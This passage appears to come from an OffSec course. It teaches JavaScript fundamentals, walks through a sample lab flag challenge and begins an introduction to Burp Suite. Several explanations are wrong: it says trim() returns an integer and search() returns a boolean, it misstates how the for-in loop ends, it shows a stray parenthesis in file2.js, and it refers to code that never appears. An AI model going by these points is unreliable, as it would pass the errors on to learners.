executable statement. It isn't a requirement in JS and is programmer
dependent. - // (two forward slashes) is a syntax symbol that represents
single-line comments. Comments are notes that are not executed. If we
needed to use multi-line comments, we would use "/" at the beginning
and "/" at the end.
Next, we are going to further explore each section.
JS has three main ways to declare and assign variables:
- var
- let
- const
The table below describes the tasks that variables can perform and the
differences between each distinct way to create variables in JS:
| task | var | let | const |
|---|---|---|---|
| Declared before use | X | X | |
| Block Scope | X | X | |
| Redeclare | X | ||
| Reassign | X | X |
Table 1 - Variable Comparison
There are pros and cons to each variable creation method. Experience
and some practice will help determine which method should be used
when. The other piece of information to note is that let and const
didn't appear in the JavaScript language until 2015. As a result, not
all browser versions support these keywords. If backward compatibility
is a factor, be sure to check the version to ensure it supports let
and const and JS keywords.
Let's review a few examples First, let's examine the var function by
creating three variables, two of them inside different functions. We
start by opening Developer Tools and going to the Console tab.
Let's enter global variables in the console.
//global scope
var color1 = "blue";
console.log(color1);
blue
Listing 2 - Using Global Variables
Here we created a variable color1 with the value "blue". Next, we
use the console.log()[234] function to print the variable to
the screen. This outputs "blue".
We will cover functions more in depth later. For now, understand that
functions are its own sections of code within the broader scope. Now,
let's create a function with the same color1 variable name.
function foo1(){
//local or function scope
color1 = "green"; //the value of color1 variable was reassigned from "blue" to "green"
console.log(color1);
}
foo1();
green
Listing 3 - Using Local or Function Scope Variables 1
When we use console.log() to print this to the screen, the output
is "green". This illustrates that the value of color1 was reassigned
from "blue" to "green". We will explain the issues that arise with
that shortly.
Let's try this same idea using a new variable (color2) inside
another function.
function foo2(){
//local or function scope
var color2 = "red"; //the value of color2 only exists locally or inside this function
console.log(color2);
}
foo2();
red
Listing 4 - Using Local or Function Scope Variables 2
This output is expected. Now, if we run console.log() for the
initial color1 variable, we get an unexpected output.
console.log(color1);
green
Listing 5 - Using Global Variables 2
Here we observe that the output is "green". The danger with using
var to declare variables is that we can easily overwrite the
values at a global level. In this example, we reassigned the value of
color1 from "blue" to "green" inside the function, but in reality it
reassigned it at the global level.
Let's reassign the color1 variable.
var color1 = "purple";
Listing 6 - Using Global Variables 3
Now let's run console.log() for the color1 variable.
console.log(color1);
purple
Listing 7 - Using Global Variables 4
The output is "purple" because we reassigned color1 earlier.
Let's examine our variable inside the foo2() function, and see what
happens if we run the same console.log() for the color2 variable.
console.log(color2);
Uncaught ReferenceError: color2 is not defined at <anonymous>:1:13
Listing 8 - Using Local or Function Scope Variables 3
The variable color2 does not exist globally, resulting in a
Reference Error, because color2 is not defined.
From the program's perspective, this variable doesn't exist and the
program can't do something with an object that does not exist.
Next, let's examine the let keyword. We'll begin by creating the
variable num1.
let num1 = 10;
Listing 9 - Using variables with let
With this new variable, let's change this value.
let num1 = 15;
Uncaught SyntaxError: redeclaration of let num1
Listing 10 - Using variables with let 1
We get a Syntax Error message: redeclaration of let num1. Unlike
var, we cannot re-declare variables within the same scope. In this
case, num1 was already defined globally.
Let's explore what happens when we use let inside of an if
statement. Again, we will cover if statements more in depth later.
For now, similar to functions, statements like if, else, for,
while, etc are considered local scope or block scope as opposed
to global scope.
if(true){
//block scope
let num1 = 20; // the value of num1 variable is 20 only within the contents of this function
console.log(num1);
}
20
console.log(num1);
10
Listing 11 - Using variables with let 2
Inside the if statement, we use let to declare a variable
with the same name and assigned the value "20". Running
console.log(num1) inside the if statement returns the value
20. When we run it outside the if statement, it returns the value
10.
This indicates a separation between the inside and outside of a code
block.
Now, instead of using var or let, let's just assign a new value to
num1.
if(true) {
let num1 = 10;
num1 = 20;
console.log(num1);
}
20
Listing 12 - Reassigning variable
Once we run this, we again get the expected value of 20. Let's print
the value of the num1 variable and examine the results.
console.log(num1);
10
Listing 13 - Printing the Global variable declared by let
The output is 10. Unlike using var, when we reassigned the value of
num1 from 10 to 20 inside the if statement block using let, the
change remained there and did not change globally.
Next, let's examine another way to define variables using const.
This keyword creates a special variable called a constant. Unlike
other kinds of variables, when we define a constant variable, we need
to provide the value we want to assign to it, otherwise we will get an
error message.
const name1;
Uncaught SyntaxError: missing = in const declaration
Listing 14 - Declaring a variable const and no value
As expected, we get a Syntax Error: missing the equal sign when we
declare constants. We can fix this by assigning a value.
const name1 = "3.1452";
Listing 15 - Declaring a variable const with a value
Great, now we have the variable name1 with the value "3.1452". Let's
reassign that to the value "3".
name1 = "3";
Uncaught SyntaxError: invalid assignment to const 'name1'
Listing 16 - Using variables with const
We receive another Syntax Error message. The reason for this error
is that variables declared with const cannot be reassigned a value
within the same scope.
There are different ways to output information depending on
how we implement JS. On a local system and through the web console,
the console.log() method is a great way to output information to
the console. Within browsers, the document.write()[235] or
alert()[236] methods are useful as well.
So far, when we defined variables, we used simple names like name1,
num1, and color1. We can choose any name we wish to use as long as it
adheres to the following rules.
- Case-sensitive
- Can contain letters, digits, underscores (_), and dollar signs ($) -
but no other special character - Must begin with a letter, underscores (_), or dollar signs ($) - not
a digit - Cannot be the same as a JS keyword (let, var, const, if, for)
Let's explore a few examples. For the case-sensitive convention, two
variables are created, one with a capital "N" and one with a lower
case "n". These are different variables.
// allowed
const names = "ken";
const Names = "kaneki"; // works because JS variable names are case-sensitive, so technically the variable labelled "names" is different from the variable labelled "Names"
Listing 17 - Case-sensitive variable name examples
These two variables show letters, digits, underscores, and dollar signs
are allowed.
var $abc123 = "dollarSign";
var _123 = "underscore";
Listing 18 - Allowed variable name characters examples
When we try the following variables, it fails. Although there is one
exception. Let's go over that next.
// not allowed
var 123 = 1; // cannot begin with digits
Uncaught SyntaxError: missing variable name
var let = 2; // cannot use JS keyword
let %123 = 3; // only special characters allowed are $ and _
Uncaught SyntaxError: invalid assignment left-hand side
Listing 19 - Invalid variable name examples
The first and third commands result in Syntax Errors. However, the
second commands works. Let's understand why.
"var let = 2" will work if strict mode[237] is not enabled
(by default it is not). Strict mode is used to provide a more
restrictive and secure mode meant for modern coding. The downside
to enabling strict mode is that it can cause backward compatibility
issues with older browser versions.
If strict mode is enabled, the statement would result in a Syntax
Error of "let is a reserved identifier", because let is a JS
keyword, introduced around 2015 with the release of version
ES6.[238] To enable strict mode, we add "use strict", with
quotes, as part of the program.
Now let's expand our knowledge on assignment operators, which assign
values to variables. There are many assignment operators, but for now,
we will focus on the equal sign.
When we declare a variable and assign it a value, the value is created
in the form of a data type. This is important to know because our
ability to manipulate and use the variable depends on the data type.
In JavaScript, we are going to look at several different data types:
number, string, Boolean, and object.
Below are some number variables as an example. This variable is
characterized as a number data type and assigned the numeric value.
var num1 = 1;
var num2 = 2;
Listing 20 - Exploring numeric data types
We can also characterize a variable as the string data type and
assign the string value of "number." We can do the same for the
string "1".
var number = "number";
var number1 = "1";
Listing 21 - Exploring string data types 1
It is possible to add the values of num1 and num2 and assign the
total to num3. We can then print out that value.
num3 = num1 + num2;
console.log(num3);
3
Listing 22 - Adding numeric data types
The output is 3 since 1+2=3.
We can also add string variables together.
number = number + "!";
console.log(number);
number!
Listing 23 - Adding string data types
JS concatenates the exclamation point to the
number variable and reassigns the new string back into
number. This produces the output of "number!"
Let's explore what happens when we add a numeric variable and a string
variable.
var newNumber1 = num1 + number1;
console.log(newNumber1);
11
Listing 24 - Exploring numeric data types
In the statement above, JS is adding a number and a string. In the
background, JS converts the number into a string and concatenates it
to the second string. The output, "11", is represented as a string.
In the above examples, we demonstrated that data types are important
to interact with them properly. We must be cautious when manipulating
them because JS will convert data types depending on the situation.
It's best to use debugging methods often, such as printing values of
variables, when writing our program to confirm our assumption of the
values of our variables. There is a lot more to data types we didn't
cover, but we will fill in some of the gaps as we move through this
section.
We indirectly touched on addition, which leads us into our next lesson.
Let's go over the arithmetic operators: minus (-), multiplication
(*), division (/), etc.
We can use arithmetic operators to perform mathematical calculations
and/or manipulate variables. Let's explore a few more cases studies:
var a = 100 / 2;
console.log(a);
50
Listing 25 - Exploring the division operator
Above we did simple number division. We did not have to declare the type
of variable.
Let's examine a division problem that, in some programming languages,
would result in an error.
var b = 99 / 2;
console.log(b);
49.5
Listing 26 - Exploring the division operator 2
The output is 49.5. This would technically be referred to as a
floating-point number,[239] because of the decimal.
However, unlike other programming languages that differentiate between
integers and floating-point numbers, JavaScript does not separate
them.
In JavaScript, we can also preform modulusmodulo operations,
which tells us the remainder after a division operation takes place.
Let's use our previous example. We took 99 and divided it by 2. This
resulted in 49.5, which is half. But what if the question was, we have
99 one-dollar bills, and we need to know how much is left if everyone
gets the same amount. In this case the result is 1, since there is one
dollar remaining.
We can solve this easily with the modulus operation.
var c = 99 % 2;
console.log(c);
1
Listing 27 - Exploring the Modulus operator
As expected, the output is 1. The percent sign (%) is referred to as
the modulus operator or the remainder. 99 divided by 2 is 49, with a
remainder of 1; therefore, 1 is the output.
JavaScript, like many programming languages, has an operator for quick
plus 1 calculations.
var d = 1;
d++;
console.log(d);
2
Listing 28 - Exploring the increment operator
The output is 2. The two plus signs (++) next to a variable increments
the value by 1. This operation has its opposite, a decrement operator.
d--;
console.log(d);
1
Listing 29 - Exploring the decrement operator
Let's finish this section by covering the last two main data types:
Boolean and arrays. Boolean data types[240] have two values:
true and false.
var a = true;
document.write(a);
true
Listing 30 - Boolean Example
The output is true. If we look back, we see that when we
created this variable, the word true is not enclosed by quotes.
As seen previously, JS uses either double or single quotes to signify
strings. However, the words true and false are JS keywords that
relate to the Boolean data type. This will come into play in the next
section when we discuss conditional statements.
An array[241] is a data type that can hold multiple values. Each
value within an array can be referred to as an element, but more
specifically, referenced by its index number. Let's review the
following. First, let's create an array.
const pasta = ["spaghetti", "lasagne", "ravioli", "fettuccine", "penne"];
Listing 31 - Creating an array
This array has five elements. We can reference these using our array
name and the element number that we want printed. However, if we
reference an element that does not exist, we will get an "undefined"
value.
console.log(pasta[0]);
spaghetti
console.log(pasta[4]);
penne
console.log(pasta[5]);
undefined
Listing 32 - Printing array elements
Within arrays, the first element is index 0. We start counting
starting at index 0, followed by 1, 2, and so on. If an array has
five items, the last element in the array is always the total number
of elements minus one; therefore, the index of the last element of an
array that has five items is four. We attempted to retrieve the value
of element five, which does not exist. Therefore, it returned and
"undefined" value.
As we continue, we will learn more ways to use and manipulate arrays.
JavaScript Basics - II
This Learning Unit covers the following Learning Objectives:
- Define and call JavaScript functions and methods
- Create conditional statements with JavaScript
- Develop our knowledge on creating loops with JavaScript
- Understand JavaScript APIs, documentation, and "How to Research"
In this Learning Unit, we are going to expand our understanding
of JavaScript programming by covering concepts like functions,
conditional statements, and loops.
Thus far, we have skimmed over functions, but in this section, we
are going to take a deeper dive into functions. We have mentioned
that JavaScript has different versions. In the variables example, we
quickly mentioned that let and const were not keywords until 2015
when the ES6 version was released.
With that release came a change to the syntax on how to implement and
use functions. In this module, let's go over how to use functions.
Functions were created for several reasons. First, because of the
backward compatibility. This means the original syntax to create
and use functions continues to work in today's programs. Second, the
original syntax is still heavily used, and not all companies have
implemented the updated version. Lastly, the syntax is very similar to
other programming languages and we can reduce confusion while we are
grasping the fundamentals of JS.
ES6 function syntax is only compatible in certain browser versions
after 2016.
Let's examine a simple example of a function:
function firstFunction(number1,number2) {
return number1-number2
}
Listing 33 - Function Example
Function structure:
- function is the JS keyword that creates a function block.
- firstFunction is the name of the function. Similar to creating a
variable name.
Naming conventions:
- () the parenthesis signifies a container where the parameters are
created. - number1 and number2 are parameter names. The number of
parameters we can use can vary depending on what we need it to do.
Function block:
- {} curly brackets represents the actual function block scope.
Anything inside is seen as within the function of the program.
Function return output:
- return number1-number2 represents what the function does with the
parameters or input, and what the function will output, or return.
return is the keyword to output when the function completes. In
this case, it takes two variables named number1 and number2 and
subtracts number2 from number1 and outputs the result.
Now, let's invoke this function.
console.log(firstFunction(10,2));
8
console.log(firstFunction(15,10));
5
console.log(firstFunction(15,100));
-85
Listing 34 - Executing the Function
The first line invokes or calls the function and provides two
numbers: 10 and 2. When the function firstFunction() is called,
the arguments 10 and 2, are assigned as values. 10 is assigned as
the value to number1, and 2 is assigned as the value to number2.
From there, the program subtracts 2 from 10 and returns the total, 8.
Lastly, console.log() will output the result, 8 in this case, to the
browser.
The next line runs the function with different values or arguments. In
this case, 15 and 10, which results in 5.
The last line runs the function with a larger number in the variable
number2. This results in -85.
Some functions are standard or built-in to the language. An example
is the Boolean() or console.log() functions. Functions may run
without arguments, or they may take one or more arguments. They will
use those arguments, or values, to run certain calculations, and
returns either an exit code or additional data. There are functions
that we can export and/or import, but we will cover those later on. If
nothing exists, we can create functions from scratch.
The primary reason behind creating a function from scratch is to
reduce having redundant or identical blocks of code within our
program. If we have four lines of code that do the same thing, but we
need that code in 10 different places, it is much easier to write a
function. We can then call that function every time we need it. If we
need to change something within our function, we change it once, as
opposed to 10 times. From a collaborative, maintenance, and efficiency
standpoint, functions are critical.
Next, we are going to pivot to properties and methods. Objects and
variables can have properties and/or methods associated with them.
A property is generally a value that is represents a part of the
object.
For example, we can use the length property to measure strings.
Let's review this.
var example = "OffSec";
console.log(example.length);
6
Listing 35 - Length Property Example
Above we created a variable named example and assigned the value
of "OffSec". Next, we printed out the number of characters, or length
of the variable, in this case, "6". We did that by referring to the
variable name example, then putting a dot, and finally using the
JS keyword of length. The length property calculated the number of
characters within the variable example and provided the result.
On the other hand, a method allows us to perform some type of action
on the object. Methods are a special kind of function, because they
are invoked as part of an object or a variable.
Let's examine the trim method:
var example = " OffSec ";
console.log(example.trim());
Offsec
Listing 36 - Trim Method Example
In the above example, we invoked the trim() method and applied it
to the example variable. As done previously, we referred to the
variable name followed by the dot, but this time the keyword "trim" is
followed by parenthesis. This is because trim is a method. This method
removed white spaces from the front and the back of the string. By
invoking the trim() method on the example variable, we were able
to remove the leading and trailing white space. We can also see that
this method does not take any arguments, and returns an integer.
Let's review an example of the concat() method, which can take one or more
arguments:
var word1 = "Off";
var word2 = "Sec";
var combined1 = word1.concat("", word2);
console.log(combined1);
OffSec
var combined2 = word1.concat(" ", word2);
console.log(combined2);
Off Sec
Listing 37 - Concat Method Example
In this example, we combined the value of word2 at the end of the
value of word1. In combined1, we did not add a space, shown by two
quotes placed side by side. In combined2, we have a space in between
the quotes; therefore, adding a space between the word1 and word2.
There are hundreds of methods that exist within JavaScript. This
course would take months if we covered all of them, but we will go
over a few well-known and helpful methods. For future reference, one of
the best places to reference things such as properties and methods is
MDN Web Docs.[242]
- toUpperCase() = converts a string to all upper case letters.
- toLowerCase() = converts a string to all lower case letters.
- slice(start, end) = takes a string as input and returns the
section of the string corresponding with the start and the end
characters reflected as numbers. - search() = searches for a string within a string and returns true
or false. - toString() = converts a number into a string.
- Number() = converts a string into a number. There are certain
conditions for this to work. It won't convert the string
"ten" into the number 10, but it will convert the string "10" into the
number 10. - pop() and push() = both removes or adds a value within an
array. - sort() = alphabetically sorts an array. Be mindful that sorting
digits as strings is not the same as sorting digits as numbers. - toDateString() = converts a date into a readable format.
- new Date() = creates a date object with the current date and time.
We can use arguments to specify values. - getTime(), getDate(), getHours(), getDay(), etc. = returns
information from date objects. - setTime(), setDate(), setHours(), etc. = methods that alter
information within date objects. - Math = contains methods used for math. For example, Math.round()
method will take a number as an argument and will return the number
rounded to the nearest integer. Math.pow() will take two numbers as
arguments and returns the value of number1 to the power of number2.
There are many more math methods associated with this object.
Now that we have gathered enough knowledge, let's get hands-on with
methods and functions.
For some of the exercises, we will use node.js as opposed to the web
console. We will go into more details about node.js and it's
importance in later sections. For now, understand that node.js is a
JavaScript runtime environment that allows us to run JavaScript code
without a web browser.
First, we will use the credentials provided in the exercises to SSH
into the machine as a specific user. Then, we will navigate to the
user's home directory and find the challenge folder.
The folder will contain the necessary files. For example,
file1.js and file2.js might be two files inside
the folder.
That specific user will have full permissions to file1.js,
and limited permissions to file2.js. We will need to alter
the code in file1.js and then run file2.js to
provide the flag. If the requirements are met, file2.js
imports file1.js, runs some checks, and provides the flag.
Let's step through the skills needed to complete the challenge. Since
we will not have root permissions, these are not the exact steps to
solve the challenge, but it provides a great framework that we can
follow.
First, let's identify the user directory we want to investigate.
root@ubuntu:/# ls /home
user1
Listing 38 - Challenge Example Part 1
Now, let's explore the subfolders of /home/user1.
root@ubuntu:/# ls /home/user1
challenge1
Listing 39 - Challenge Example Part 2
Next, let's list the files of /home/user1/challenge1.
root@ubuntu:/# ls /home/user1/challenge1
file1.js file2.js
Listing 40 - Challenge Example Part 3
Let's review the code in file1.js
root@ubuntu:/# cat /home/user1/challenge1/file1.js
function subFunc(num1,num2) {
// this challenge takes two numbers as parameters
// we must write code to return the difference of num2 from num1
}
module.exports = { subFunc }
Listing 41 - Challenge Example Part 4
File1.js is the file we write our code in. The function is then exported.
Now, let's review the code in file2.js
root@ubuntu:/# cat /home/user1/challenge1/file2.js
const f = require("./file1.js")
if(f.subFunc(10,2) == 8)) {
console.log("flag")
}
Listing 42 - Challenge Example Part 5
Notice we are able to read file2.js because we are running as
the root user in this example. File2.js imports the function from
file1.js. Then, it runs the function with provided input and compares
the output to the expected output. If there is a match, it provides
the flag.
We identified file2.js provides the flag. Now let's log in as that
user.
root@ubuntu:/# su user1
Listing 43 - Challenge Example Part 6
We will try to read file.2js.
user1@ubuntu:/# cat /home/user1/challenge1/file2.js
cat: file2.js: Permission denied
Listing 44 - Challenge Example Part 7
Permission was denied. Let's try running file2.js using node.
user1@ubuntu:/# sudo node file2.js
user1@ubuntu:/#
Listing 45 - Challenge Example Part 8
Notice we have permissions to run node.js on file2.js as root.
As expected, the flag is not provided because our function in file1.js
requires the correct code.
Let's use a text editor and add the code in file1.js. Then, we will
double check our code.
user1@ubuntu:/# cat /home/challenge1/file1.js
function subFunc(num1,num2) {
// this challenge takes two numbers as parameters
// we must write code to return the difference of num2 from num1
return num1-num2
}
module.exports = { subFunc }
Listing 46 - Challenge Example Part 9
Now that we have added the code according to the challenge
instructions, we can run file2.js again.
user1@ubuntu:/# sudo node file2.js
flag
user1@ubuntu:/#
Listing 47 - Challenge Example Part 10
Perfect. We were able to add code that meets the challenge
requirements. We then ran node.js on file2.js using elevated
permissions (sudo), which provided the flag.
We will follow similar steps in the following exercises to get the
flags.
In a previous section, we mentioned a built-in function, Boolean().
This function returns true or false depending on the variable
or expression. Expressions that return true or false are also
known as conditions or comparisons. In this section, we are going to
cover conditional statements and loops. To follow along, it's best to
copy/paste user input code blocks into the Web Console.
Let's review the following code:
var firstName = "zero"
var lastName
if (firstName == "zero") {
lastName = "cool"
}
console.log(firstName.concat(" ", lastName))
zero cool
Listing 48 - If Conditional Statement Example
Let's break down each line of code above.
First, we create a variable named firstName and assign the string value
"zero". Next, we create a variable named lastName.
The if keyword represents a conditional statement that compares the
string value of firstName to string value "zero". The double equal
sign (==) is a comparison operator. The expression states that if
the value of firstName is identical to the string value of "zero",
then perform the following action(s).
Similar to functions, the curly brackets represent a block scope:
- this line will assign the string value of "cool" to the lastName
variable only if the if statement is true. - closing bracket signify the end of the block scope.
- concatenates firstName and lastName with a space in between and
outputs the result to the console.
In addition to the if statement, there is also else, else if,
and switch statements. Let's review these in the following code:
var randomNum = Math.random()*100
if (randomNum < 11) {
console.log("Number is less than 11")
}
else if (randomNum >= 11 && randomNum <= 50) {
console.log("Number is greater than or equal to 11, and less than or equal to 50")
}
else {
console.log("Number is greater than 50")
}
Listing 49 - If/Else Example
Above we created a number that is pseudo-randomly generated between
0 and 1 and multiplied by 100. Following that, we have one of each
statement: if, else if, and else. If the expression is true,
then the action within that code is executed. One thing to keep in
mind is that if multiple if statements in the logic flow results
in true, only the actions within the first true if statement will
execute.
Let's review what this means.
var randomNum = Math.random()*100
if (randomNum < 11) {
console.log("Number is less than 11")
}
else if (randomNum >= 11 && randomNum < 100) {
console.log("Number is greater than or equal to 11, and less than 100")
}
else {
console.log("Number is between 0 and 100")
}
Listing 50 - If/Else Example 1
Math.random() generates a number between 0 and 1 and is then
multiplied by 100. That means the only possible numbers the randomNum
variable can hold have to be between 0 (inclusively) and 100
(exclusively). This means the last else statement is technically
always true. However, the program will never get that far.
For numbers less than 11, the program will step into the first if
statement (randomNum < 11), execute the actions within that block,
then the program will continue to the last line of the code. While we
are directly covering logic flow, keep in mind the flow of execution
will continue to be a reoccurring theme.
Next, we will examine Switch statements, which are similar to
if/else statements.
var randomNum = parseInt(Math.random()*10) //parseInt() function will convert a float to an integer. Basically, it removes the decimal numbers and leaves the whole number - 0-9 in this case
switch(randomNum) {
case 0:
console.log("Number is 0")
break
case 1:
console.log("Number is 1")
break
case 2:
console.log("Number is 2")
break
case 3:
console.log("Number is 3")
break
case 4:
console.log("Number is 4")
break
default:
console.log("Number is 5 or higher")
}
Listing 51 - Switch Example
Switch statements compare a value with different "cases". In our
example above, it takes a number stored in randomNum and compares it to
each case until there is a match. If the value is 0, for example, it
will print out "Number is 0", then break from the switch block, and
continue with var newNumber = 1.
If we omitted the keyword break it would continue executing each
case action.
var randomNum = 2
switch(randomNum) {
case 0:
console.log("Number is 0")
case 1:
console.log("Number is 1")
case 2:
console.log("Number is 2")
case 3:
console.log("Number is 3")
case 4:
console.log("Number is 4")
default:
console.log("Number is 5 or higher")
}
Number is 2
Number is 3
Number is 4
Number is 5 or higher
Listing 52 - Switch, no Block Example
In the above example, even though randomNum is assigned the value
of 2, the code will execute all lines from console.log("Number is
2") onward. This is because there are no break statements. What
the program will do is compare the value of randomNum to case 0,
resulting in false, then compare it to case 1, resulting in false, and
finally compare it to case 2, resulting in true. Once the line with
"console.log("Number is 2")" is executed, the program does not exit
the switch scope and continues executing actions until a break, or
end of the switch scope, or code block.
There are several more keywords to mastering switch statements. For example,
the default case is not required but is recommended as a catch-all in
case the other options do not evaluate as true.
Next, we will cover loops.
JavaScript has various loops available to implement. Two of the most
well-known loops are for and while. They are called loops
because as long as a condition is true, the sets of instructions
within these loops will repeat. If we are not careful, we could create
an infinite loop. This means that due to our logic, the condition
is set to always be true, and therefore the program won't stop. The
only way to stop it is to force it to break or we kill it.
Let's examine a few examples:
for (count = 1; count < 10; count++) {
console.log(count)
}
1
2
3
4
5
6
7
8
9
console.log(count);
10
Listing 53 - For Loop Example
Although this is a very basic for loop, many things are happening.
- count = 1: this creates a variable named "count" and assigns it
number 1. This can be considered the starting point. - count < 10: this portion of the code performs an evaluation and
returns either true or false. If true, it will continue with the
loop. If false, it will exit the for loop. - count++: this will increase the variable by 1 every time it runs
this code. It doesn't have to be incremented by only one. - console.log(count): prints the value of count.
To understand what is happening, let's break this down step by step.
- execute statement 1 = variable count is assigned as 1
- execute statement 2 = count, must be less than 10, is compared to
10, and it returns true because 1 is less than 10 - execute code within the for block scope = print value of count
- execute statement 3 = increase value of count by 1, from 1 to 2
- repeat steps 2-4 until statement 2 returns false, at which point it
exits the loop
The final output in this instant is each number on a new line. The
reason behind the new lines is because of how the console.log()
functions works. Additionally, this is important to note, the last
time count is printed is when count is 9. In the second to
last loop, statement 3 increases the count by 1, so from 9 to 10. In
the last loop, count is compared if it's less than 10. Here it
returns false. Therefore, it exits the loop. From that point forward
in the program, the value of the count is technically 10. This is
yet another reason why the logic flow is extremely critical.
While the syntax differs slightly, we can do the same thing using a
while loop.
var count = 1
while (count < 10) {
console.log(count);
count=count+1;
}
1
2
3
4
5
6
7
8
9
console.log(count);
10
Listing 54 - While Loop Example
Logic-wise, the code above is the same when compared with the for
loop in the previous example. In more advanced programs, choosing
the "right" loop to implement can matter. Understanding the small
differences will come with time and experience. For now, the
requirement is that we understand how to implement basic for and
while loops.
The next thing we are going to quickly explore is slight variations
of the for loop.
// create a function named "rot13Func" that takes in 1 parameter named myPassword
function rot13Func(myPassword) {
// create a variable named "newPassword" that is of type String and is empty
var newPassword = '';
// create a for in loop. This loop will iterate through every character in the string "myPassword". The variable "char" is a counter that starts at 0 and continues until it reaches the last character in the string. It does this by measuring the length of the string.
for (char in myPassword) {
// create a switch statement that tests each character. If there is a match, it will add a letter to the "newPassword" variable
switch (myPassword[char]) {
case 'a':
newPassword=newPassword+'n'
break
case 'b':
newPassword=newPassword+'o'
break
case 'c':
newPassword=newPassword+'p'
break
case 'd':
newPassword=newPassword+'q'
break
case 'e':
newPassword=newPassword+'r'
break
case 'f':
newPassword=newPassword+'s'
break
case 'g':
newPassword=newPassword+'t'
break
case 'h':
newPassword=newPassword+'u'
break
case 'i':
newPassword=newPassword+'v'
break
case 'j':
newPassword=newPassword+'w'
break
case 'k':
newPassword=newPassword+'x'
break
case 'l':
newPassword=newPassword+'y'
break
case 'm':
newPassword=newPassword+'z'
break
case 'n':
newPassword=newPassword+'a'
break
case 'o':
newPassword=newPassword+'b'
break
case 'p':
newPassword=newPassword+'c'
break
case 'q':
newPassword=newPassword+'d'
break
case 'r':
newPassword=newPassword+'e'
break
case 's':
newPassword=newPassword+'f'
break
case 't':
newPassword=newPassword+'g'
break
case 'u':
newPassword=newPassword+'h'
break
case 'v':
newPassword=newPassword+'i'
break
case 'w':
newPassword=newPassword+'j'
break
case 'x':
newPassword=newPassword+'k'
break
case 'y':
newPassword=newPassword+'l'
break
case 'z':
newPassword=newPassword+'m'
break
default:
}
}
// when the function is called, it will take the one argument and return the value of "newPassword" as output
return newPassword
}
// call the rot13Func function with the string of "password" as the argument
var translated = rot13Func('password')
console.log(translated);
cnffjbeq
console.log(rot13Func(translated));
password
Listing 55 - For In Loop Example
Let's summarize what happened above. The for in loop iterates
through the property of the object. In this instance, it iterates
through each character of the myPassword variable. When we first
call the function, the provided value or argument is the string
password. In the first loop, char is 0; therefore, myPassword[0]
= 'p'. For case 'p', we instruct the program to add the letter c
to newPassword variable. We can see that because the first letter
of the output is c. The for in loop will continue to check each
letter and when there is a match of a certain letter, it will add a
different letter to the newPassword variable until it reaches the
end of myPassword.
The condition for the for in loop is char < myPassword.length.
In this instance, the length password is 8 characters long.
During the last loop, the value of char is 8. Comparing char <
myPassword.length OR 8 < 8 results to false. Therefore, the loop
ends.
What we see above is essentially a way to implement ROT13 substitution
cipher. This cipher substitutes one letter for another. This is a
real-world example of how to implement various functionalities of JS
such as loops and functions. The next variation of the for loop will be
more simple. Let's check out for of loop.
var myPassword = "test"
for (char in myPassword) {
console.log(char)
}
0
1
2
3
for (char of myPassword) {
console.log(char)
}
t
e
s
t
Listing 56 - Comparing For In vs For Of Loops
Unlike the for in loop that iterates properties of an object, the
for of loop iterates the values. One of the easiest ways to explain
the difference is shown in the example above. The output of the for
in loop is 0-3 on a new line. When we recall a key:value pair within
arrays, we can look at the above example as the following:
0:t
1:e
2:s
3:t
Listing 57 - key:value Pair
The for in loop refers to the property of the object, and here it
is the index numbering. The for of loop refers to the value, and
iterates through each character of the string and outputs the value
one by one.
In this section, we are going to skim over Application Programming
Interfaces (APIs). Similar to the Web Developer Tools, APIs are an
entirely different aspect of web development that we can dive deep
into. For this module, we are going to define what APIs are, why they
are useful, and how to interact with them. Lastly, we will propose
a methodology and mention some resources that can aid us with JS and
APIs.
As previously mentioned, APIs are Application Programming Interfaces.
In its most basic definition, it is software that allows services
to communicate with each other. This can happen on the same computer
or remotely from one computer to another. There is a fairly large
history of APIs, but we will skip ahead to more modern uses. More
specifically, we are going to look at Web APIs, because that is what
we will interact with in this section.
Web APIs can be used on the server-side and/or client-side. Our focus
will be more on client-side APIs, which run on the browsers. One of the
main reasons behind using web APIs is the developer's ability to reuse
code that normally would be considered abstract. A perfect analogy is
provided by Mozilla online documentation:
"As a real-world example, think about the electricity supply
in your house, apartment, or other dwellings. If you want
to use an appliance in your house, you plug it into a plug
socket and it works. You don't try to wire it directly into
the power supply — to do so would be really inefficient and,
if you are not an electrician, difficult and dangerous to
attempt."[243]
Each browser has built-in APIs that we can utilize to enhance whatever
we are trying to create. Let's say we need to create a page where
we can upload and download files to and from a web server. A lot of
that functionality can be created by tapping into browser APIs, such as
having a button that we click to open up a window, select our file,
and upload it. Or maybe having a drop-down on the page where we select
the file we want to download from a list of files.
Whenever our mouse hovers over objects or we click on objects on the
page, it is most likely due to APIs and JS. If we disabled JavaScript
on our browser, none of those functions would work.
The last thing we are going to cover in this section is documentation
and research. There are several resources online that will assist us
in programming with JS. A specific resource that is heavily referenced
is known as Mozilla Developer Network (MDN) Web Docs. This online
repository contains documentation about JavaScript, HTML, and CSS,
along with other technologies.
For example, the write() method is associated with the Document
DOM interface. Let's see the steps we could take to better research
this method.
First, we could navigate to the main web page:
https://developer.mozilla.org/en-US/
Next, we mouse over References and find the Web APIs option from
the drop-down menu.
We need to scroll down to Interfaces, which are listed alphabetically.
Then, let's find "Documents" under "D" and select it.
This will take us to the Document API page. On the right side, we
can click Instance methods, which will take us to the respective
section of the page.
This section is also in alphabetical order. Let's find the write()
method and click on it.
Finally, we arrive at the document.write() page. Here we observe
details like syntax, examples, notes, and browser compatibility. We
can get fairly in-depth information regarding this specific method.
Let's look at an alternative way to use the search function. We can
type in the method in the search bar.
The search function is faster if we know exactly what we are looking
for. We might want to see all the methods available to the Document
DOM interface. We could find this information under APIs and look over
the methods available that are associated with Document.
Introduction to Burp Suite
In this Learning Module, we will cover the following Learning Units:
- Browser and Integration
- Proxy and Scope
- The Core Burp Suite Tools and Tabs
Let's start by discussing Burp Suite,[244] one of the most
popular tools for penetration testing. Burp Suite is an integrated
platform for web application security testing and auditing. It
consists of multiple tools and capabilities targeted at testing web
applications. Burp Suite will be one of our go-to tools from the early
stages of mapping out an application through carrying out an attack.
We'll be approaching this new tool one section at a time; however,
please proceed at a pace that is comfortable as we tackle the most
important aspects of Burp Suite.
The concepts discussed in this Learning Module will be key to our
future success in Offensive Security's WEB-200 and WEB-300 courses.
As a web assessor, Burp Suite is going to be our home more than 90% of
the time.
Browser and Integration
This Learning Unit covers the following Learning Objectives:
- Understand how to launch Burp Suite from Kali Linux
- Understand how to use Burp Suite's built-in browser.
- Understand how we can integrate Burp Suite with other browsers.
When doing our web assessments, we're going to be in one of two
browsers for the majority of our testing period. Most commonly, we
make use of Burp Suite's built-in browser
This is the most effective browser for testing
